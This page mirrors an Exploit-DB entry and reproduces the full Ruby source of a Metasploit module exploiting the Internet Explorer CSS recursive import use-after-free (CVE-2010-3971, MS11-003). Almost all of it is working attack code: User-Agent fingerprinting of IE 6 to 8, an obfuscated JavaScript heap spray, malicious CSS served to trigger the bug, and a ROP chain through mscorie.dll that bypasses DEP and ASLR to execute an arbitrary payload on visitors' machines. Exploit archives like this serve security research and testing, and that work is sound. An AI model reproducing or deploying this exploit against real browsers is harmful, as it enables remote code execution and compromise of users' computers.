Microsoft Internet Explorer – CSS Recursive Import Use-After-Free (MS11-003) (Metasploit)

  • 作者: Metasploit
    日期: 2011-02-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16533/
  • ##
    # $Id: ms11_003_ie_css_import.rb 11730 2011-02-08 23:31:44Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GoodRanking # Need more love for Great
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    	include Msf::Exploit::Remote::BrowserAutopwn
    	autopwn_info({
    		:ua_name=> HttpClients::IE,
    		:ua_minver=> "7.0", # Should be 6
    		:ua_maxver=> "8.0",
    		:javascript => true,
    		:os_name=> OperatingSystems::WINDOWS,
    		:vuln_test=> nil, # no way to test without just trying it
    	})
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Internet Explorer CSS Recursive Import Use After Free',
    			'Description'=> %q{
    					This module exploits a memory corruption vulnerability within Microsoft\'s
    				HTML engine (mshtml). When parsing an HTML page containing a recursive CSS
    				import, a C++ object is deleted and later reused. This leads to arbitrary
    				code execution.
    
    				This exploit utilizes a combination of heap spraying and the
    				.NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
    				opt-in to ASLR. As such, this module should be reliable on all Windows
    				versions with .NET 2.0.50727 installed.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'passerby', # Initial discovery / report
    					'd0c_s4vage', # First working public exploit
    					'jduck' # Metasploit module (ROP, @WTFuzz spray)
    				],
    			'Version'=> '$Revision: 11730 $',
    			'References' =>
    				[
    					[ 'CVE', '2010-3971' ],
    					[ 'OSVDB', '69796' ],
    					[ 'BID', '45246' ],
    					[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2488013.mspx' ],
    					[ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ],
    					[ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ],
    					[ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ],# .NET 2.0 ROP (slide 25)
    					[ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ],
    					[ 'MSB', 'MS11-003' ]
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    					'InitialAutoRunScript' => 'migrate -f',
    				},
    			'Payload'=>
    				{
    					'Space' => 1024,
    					'BadChars'=> "\x00",
    					'DisableNops' => true
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Automatic', { } ],
    
    					[ 'Internet Explorer 8',
    						{
    							'Ret' => 0x105ae020,
    							'OnePtrOff' => 0x18,
    							'DerefOff' => 0x30,
    							'FlagOff' => 0x54,
    							'CallDeref1' => 0x20,
    							'SignedOff' => 0x1c,
    							'CallDeref2' => 0x24,
    							'CallDeref3' => 0x00,
    							'CallDeref4' => 0x20,
    							'Deref4Off' => 0x08
    						}
    					],
    
    					[ 'Internet Explorer 7',
    						{
    							'Ret' => 0x105ae020,
    							'OnePtrOff' => 0x14,
    							'DerefOff' => 0x5c,
    							'FlagOff' => 0x34,
    							'CallDeref1' => 0x1c,
    							'SignedOff' => 0x18,
    							'CallDeref2' => 0x20,
    							'CallDeref3' => 0x00,
    							'CallDeref4' => 0x20,
    							'Deref4Off' => 0x08
    						}
    					],
    
    					# For now, treat the IE6 target the same as teh debug target.
    					[ 'Internet Explorer 6',
    						{
    							'Ret' => 0xc0c0c0c0,
    							'OnePtrOff' => 0x14,
    							'DerefOff' => 0x5c,
    							'FlagOff' => 0x34,
    							'CallDeref1' => 0x1c,
    							'SignedOff' => 0x18,
    							'CallDeref2' => 0x20,
    							'CallDeref3' => 0x00,
    							'CallDeref4' => 0x20,
    							'Deref4Off' => 0x08
    						}
    					],
    
    					[ 'Debug Target (Crash)',
    						{
    							'Ret' => 0xc0c0c0c0,
    							'OnePtrOff' => 0,
    							'DerefOff' => 4,
    							'FlagOff' => 8,
    							'CallDeref1' => 0xc,
    							'SignedOff' => 0x10,
    							'CallDeref2' => 0x14,
    							'CallDeref3' => 0x18,
    							'CallDeref4' => 0x1c,
    							'Deref4Off' => 0x20
    						}
    					]
    				],
    			# Full-disclosure post was Dec 8th, original blog Nov 29th
    			'DisclosureDate' => 'Nov 29 2010',
    			'DefaultTarget'=> 0))
    	end
    
    
    	def auto_target(cli, request)
    		mytarget = nil
    
    		agent = request.headers['User-Agent']
    		#print_status("Checking user agent: #{agent}")
    		if agent !~ /\.NET CLR 2\.0\.50727/
    			print_error("#{cli.peerhost}:#{cli.peerport} Target machine does not have the .NET CLR 2.0.50727")
    			return nil
    		end
    
    		if agent =~ /MSIE 6\.0/
    			mytarget = targets[3]
    		elsif agent =~ /MSIE 7\.0/
    			mytarget = targets[2]
    		elsif agent =~ /MSIE 8\.0/
    			mytarget = targets[1]
    		else
    			print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent #{agent}")
    		end
    		mytarget
    	end
    
    
    	def on_request_uri(cli, request)
    
    		print_status("#{cli.peerhost}:#{cli.peerport} Received request for %s" % request.uri.inspect)
    
    		mytarget = target
    		if target.name == 'Automatic'
    			mytarget = auto_target(cli, request)
    			if (not mytarget)
    				send_not_found(cli)
    				return
    			end
    		end
    
    		#print_status("#{cli.peerhost}:#{cli.peerport} Automatically selected target: #{mytarget.name}")
    
    		buf_addr = mytarget.ret
    		css_name = [buf_addr].pack('V') * (16 / 4)
    
    		# We stick in a placeholder string to replace after UTF-16 encoding
    		placeholder = "a" * (css_name.length / 2)
    		uni_placeholder = Rex::Text.to_unicode(placeholder)
    
    		if request.uri == get_resource() or request.uri =~ /\/$/
    			print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} redirect")
    
    			redir = get_resource()
    			redir << '/' if redir[-1,1] != '/'
    			redir << rand_text_alphanumeric(4+rand(4))
    			redir << '.html'
    			send_redirect(cli, redir)
    
    		elsif request.uri =~ /\.html?$/
    			# Re-generate the payload
    			return if ((p = regenerate_payload(cli)) == nil)
    
    			print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} HTML")
    
    			# Generate the ROP payload
    			rvas = rvas_mscorie_v2()
    			rop_stack = generate_rop(buf_addr, rvas)
    			fix_esp = rva2addr(rvas, 'leave / ret')
    			ret = rva2addr(rvas, 'ret')
    			pivot1= rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')
    			pivot2= rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')
    
    			# Append the payload to the rop_stack
    			rop_stack << p.encoded
    
    			# Build the deref-fest buffer
    			len = 0x84 + rop_stack.length
    			special_sauce = rand_text_alpha(len)
    
    			# This ptr + off must contain 0x00000001
    			special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V')
    
    			# Pointer that is dereferenced to get the flag
    			special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V')
    
    			# Low byte must not have bit 1 set
    			no_bit1 = rand(0xff) & ~2
    			special_sauce[mytarget['FlagOff'], 1] = [no_bit1].pack('V')
    
    			# These are deref'd to figure out what to call
    			special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V')
    			special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V')
    			special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V')
    			# Finally, this one becomes eip
    			special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot1].pack('V')
    
    			# This byte must be signed (shorter path to flow control)
    			signed_byte = rand(0xff) | 0x80
    			special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C')
    
    			# These offsets become a fix_esp ret chain ..
    			special_sauce[0x04, 4] = [pivot2].pack('V')# part two of our stack pivot!
    			special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V')# becomes ebp, for fix esp
    			special_sauce[0x10, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax)
    
    			# Add in the rest of the ROP stack
    			special_sauce[0x84, rop_stack.length] = rop_stack
    
    			# Format for javascript use
    			special_sauce = Rex::Text.to_unescape(special_sauce)
    
    			js_function= rand_text_alpha(rand(100)+1)
    
    			# Construct the javascript
    			custom_js = <<-EOS
    function #{js_function}() {
    heap = new heapLib.ie(0x20000);
    var heapspray = unescape("#{special_sauce}");
    while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
    var heapblock = heapspray;
    while(heapblock.length < 0x40000) heapblock += heapblock;
    finalspray = heapblock.substring(2, 0x40000 - 0x21);
    for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
    var vlink = document.createElement("link");
    vlink.setAttribute("rel", "Stylesheet");
    vlink.setAttribute("type", "text/css");
    vlink.setAttribute("href", "#{placeholder}")
    document.getElementsByTagName("head")[0].appendChild(vlink);
    }
    EOS
    			opts = {
    				'Symbols' => {
    					'Variables' => %w{ heapspray vlink heapblock heap finalspray counter },
    					'Methods' => %w{ prepare }
    				}
    			}
    			custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts)
    			js = heaplib(custom_js)
    
    			dll_uri = get_resource()
    			dll_uri << '/' if dll_uri[-1,1] != '/'
    			dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"
    
    			# Construct the final page
    			html = <<-EOS
    <html>
    <head>
    <script language='javascript'>
    #{js}
    </script>
    </head>
    <body onload='#{js_function}()'>
    <object classid="#{dll_uri}#GenericControl">
    </body>
    </html>
    EOS
    			html = "\xff\xfe" + Rex::Text.to_unicode(html)
    			html.gsub!(uni_placeholder, css_name)
    
    			send_response(cli, html, { 'Content-Type' => 'text/html' })
    
    		elsif request.uri =~ /\.dll$/
    			print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} .NET DLL")
    
    			# Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually
    			# use it's contents ...
    			ibase = (0x2000 | rand(0x8000)) << 16
    			dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))
    
    			# Send a .NET v2.0 DLL down
    			send_response(cli, dll,
    				{
    					'Content-Type' => 'application/x-msdownload',
    					'Connection' => 'close',
    					'Pragma' => 'no-cache'
    				})
    
    		else
    			# Defines two different CSS import styles
    			import_styles = [
    				"@import url(\"#{placeholder}\");\n",
    				"@import \"#{placeholder}\";\n"
    			]
    
    			# Choose four imports of random style
    			css = ''
    			4.times {
    				css << import_styles[rand(import_styles.length)]
    			}
    
    			css = "\xff\xfe" + Rex::Text.to_unicode(css)
    			css.gsub!(uni_placeholder, css_name)
    
    			print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} CSS")
    
    			send_response(cli, css, { 'Content-Type' => 'text/css' })
    
    		end
    
    		# Handle the payload
    		handler(cli)
    
    	end
    
    	def rvas_mscorie_v2()
    		# mscorie.dll version v2.0.50727.3053
    		# Just return this hash
    		{
    			'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e,
    			'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b,
    			'leave / ret'=> 0x25e5,
    			'ret'=> 0x25e5+1,
    			'call [ecx] / pop ebp / ret 0xc' => 0x1ec4,
    			'pop eax / ret'=> 0x5ba1,
    			'pop ebx / ret'=> 0x54c0,
    			'pop ecx / ret'=> 0x1e13,
    			'pop esi / ret'=> 0x1d9a,
    			'pop edi / ret'=> 0x2212,
    			'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6,
    			'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154,
    		}
    	end
    
    	def generate_rop(buf_addr, rvas)
    		# ROP fun! (XP SP3 English, Dec 15 2010)
    		rvas.merge!({
    			# Instructions / Name=> RVA
    			'BaseAddress'=> 0x63f00000,
    			'imp_VirtualAlloc' => 0x10f4
    		})
    
    		rop_stack = [
    			# Allocate an RWX memory segment
    			'pop ecx / ret',
    			'imp_VirtualAlloc',
    
    			'call [ecx] / pop ebp / ret 0xc',
    			0, # lpAddress
    			0x1000,# dwSize
    			0x3000,# flAllocationType
    			0x40,# flProt
    			:unused,
    
    			# Copy the original payload
    			'pop ecx / ret',
    			:unused,
    			:unused,
    			:unused,
    			:memcpy_dst,
    
    			'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',
    			:unused,
    			
    			'pop esi / ret',
    			:unused,
    			:unused,
    			:unused,
    			:memcpy_src,
    
    			'pop edi / ret',
    			0xdeadf00d # to be filled in above
    		]
    		(0x200 / 4).times {
    			rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'
    		}
    		# Execute the payload ;)
    		rop_stack << 'call [ecx] / pop ebp / ret 0xc'
    
    		rop_stack.map! { |e|
    			if e.kind_of? String
    				# Meta-replace (RVA)
    				raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
    				rvas['BaseAddress'] + rvas[e]
    
    			elsif e == :unused
    				# Randomize
    				rand_text(4).unpack('V').first
    
    			elsif e == :memcpy_src
    				# Based on stack length..
    				buf_addr + 0x84 + (rop_stack.length * 4)
    
    			elsif e == :memcpy_dst
    				# Store our new memory ptr into our buffer for later popping :)
    				buf_addr + 0x84 + (21 * 4)
    
    			else
    				# Literal
    				e
    			end
    		}
    
    		rop_stack.pack('V*')
    	end
    
    	def rva2addr(rvas, key)
    		raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
    		rvas['BaseAddress'] + rvas[key]
    	end
    
    end